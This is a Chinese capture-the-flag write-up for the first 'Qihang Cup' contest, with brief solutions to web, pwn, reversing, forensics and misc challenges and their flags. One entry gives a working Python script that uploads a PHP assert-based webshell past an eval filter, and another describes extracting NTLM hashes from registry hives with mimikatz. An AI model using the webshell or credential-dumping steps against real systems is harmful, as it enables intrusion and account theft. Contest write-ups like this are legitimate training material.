Web
Easy_include
文件包含绕过关键词flag
Web_pop
构造序列化字符串
改成public属性直接打就行
Web_IP
Smarty模板注入
PCREMagic
分析代码
这些用于处理文件上传,并检查上传的文件是否包含PHP代码中的eval函数
所以我们可以换个其他函数,比如assert,来上传一个文件
再用蚁剑连接
写个脚本
import requests
# 文件内容
file_content = ("<?php assert($_POST['pass']);?>").encode('utf-8') # 将字符串转换为字节流
filename = "1.php" # 修改为.php扩展名
# 上传URL
upload_url = 'http://challenge.qihangcup.cn:34902/'
# 构造文件字段
files = {'file': (filename, file_content)}
# 发送POST请求
response = requests.post(upload_url, files=files, allow_redirects=False)
# 处理响应
if response.status_code == 200:
print("文件上传成功")
print("响应头部:")
for key, value in response.headers.items():
print(f"{key}: {value}")
print("响应主体:")
print(response.text)
elif response.status_code in [303]:
if'Location' in response.headers:
redirect_url = response.headers['Location']
print(f"重定向位置: {upload_url+redirect_url}")
else:
print("没有提供重定向位置。")
else:
print(f"文件上传失败,HTTP状态码: {response.status_code}")
print(f"响应内容: {response.text}")
运行得到
重定向位置:
http://challenge.qihangcup.cn:34902/data/7154eb37ce6e237252300066313a7f58/10.php再用蚁剑连接
访问根目录得到flag
QHCTF{e3839a64-beb2-4431-84f8-5398eaa9f001}
Pwn
Easy_Pwn
存在栈溢出以及后门函数
直接覆盖返回地址即可,注意栈平衡
Re
rainbow
逐位异或0x5a即可
小明的note
Upx脱壳
直接比较计算出来的s2
gdb调一下找到比较的字符串flag
Checker
32位无壳,用ida打开
找到main函数
找到check_flag函数
找到加密的flag
Shift+E取出
726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E
然后去找怎么加密的函数
推断是将字符每个字符异或了0x23
Cyberchef解
得到flag
QHCTF{ee6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}
Crypto
Easy_RSA
给了私钥,直接私钥解密RSA即可
取证
Win_02
FTK挂载硬盘,导出C:WindowsSystem32config文件夹下的SAM、SYSTEM、SECURITY文件
使用mimikatz读取文件NTLM hash
得到恶意用户HackY$和NTLM hash 32ed87bdb5fdc5e9cba88547376818d4
解密得到密码为123456
拼接后得到flag QHCTF{fb484ad326c0f3a4970d1352bfbafef8}
Win_07
在Admin用户的桌面上发现一个Hacker_.exe的文件
pyinstxtractor逆向
添加magic number
Pycdc反编译
有一点报错没反编译成功,找了一个在线的https://pylingual.io解出来了
看出来加密是先aes再base64再异或再base64的顺序
写解密脚本,大坑xor函数要自己重写
得到一个假的flag
。。。。。。。。。
然后在用户HackY$用户的桌面上发现一个flag.zip
提示了密码在环境变量中
找到用户目录下的NTUSER.DAT环境变量配置文件
使用Windows Registry Recovery解析注册表即可看到压缩包密码(赛后看其他wp也有用autospy 4.21.0工具的)
解压缩再解base64即可得到flag
Win_04
在Admin桌面上发现一个111.reg
下载下来全局查找看到一个flag
Win_05
找到todesk日志的目录
在service文件里搜tcp begin connect看到有一个20000端口的连接请求
在当天的session会话文件中39分59秒连接
53分断开连接
计算时间差781秒
得到字符串Todesk_781_223.104.132.99
Md5加密后即最终flag:QHCTF{dca8df29e49e246c614100321e3b932e}
Win_01
全局搜索exe,找到一个Server2.exe
沙箱检测看到网络连接192.168.20.1:8000
md5编码后得到flag:QHCTF{ad4fdee2eada36ec3c20e9d6311cf258}
Win_06
赛后复盘据说这个文件是C:WindowsSystem32tasksMicrosoftstart,但是被杀毒软件杀掉了需要先恢复出来,之后我再分析吧
MISC
PVZHE
下好附件检查一下
直接进到图片发现时间异常的图片,打开就是flag
请找出拍摄地所在位置
根据边上的柳城4S店广告,锁定位置在广西壮族自治区的南宁市,然后根据柳化复合肥在南宁的位置挨个找到所在地,所在地有雅迪电动车和街口xx烧烤,对比很明显
QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉路口}
QHCTF For Year 2025
提示
080714212829302316092230-04111825121306132027-0605041118252627-08091009162330-0102031516170108152229-0108142229-0203041617180209162330-0108152229303124171003-231609021725181104-01020917233029
打开pdf文档是一个日期表
根据提示,将对应的数字两个一组圈起来会得到flag
QHCTF{FUN}
猿类的编程语言你了解吗
试了一圈发现JPHS密码为空时可以提取出一个txt
然后Ook!解密 https://www.splitbrain.org/services/ook
你猜猜这是哪
图片上可以看到远处有一个银行的牌子
题目提示了车牌是湘L(郴州市)
赛后复盘发现是在郴州市下面的县里面
QHCTF{湖南省郴州市汝城县汝城大道与东泉路交汇处西北}
你能看懂这串未知的文字吗
搜索图片发现是羊文
https://tieba.baidu.com/p/7443624474
对照表
翻译一下图片得到szfpguwizgwesqzoaoerv
图片zsteg看一下发现一个key
b1,rgb,lsb,xy .. text: "qihangbeiiseasy"
最后维吉尼亚解密
______启动!
135流找到一个链接
访问http://101.126.66.65/log可以直接下载下来
打开直接就能看到flag
原文始发于微信公众号(智佳网络安全):【WP】第一届“启航杯”网络安全挑战赛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论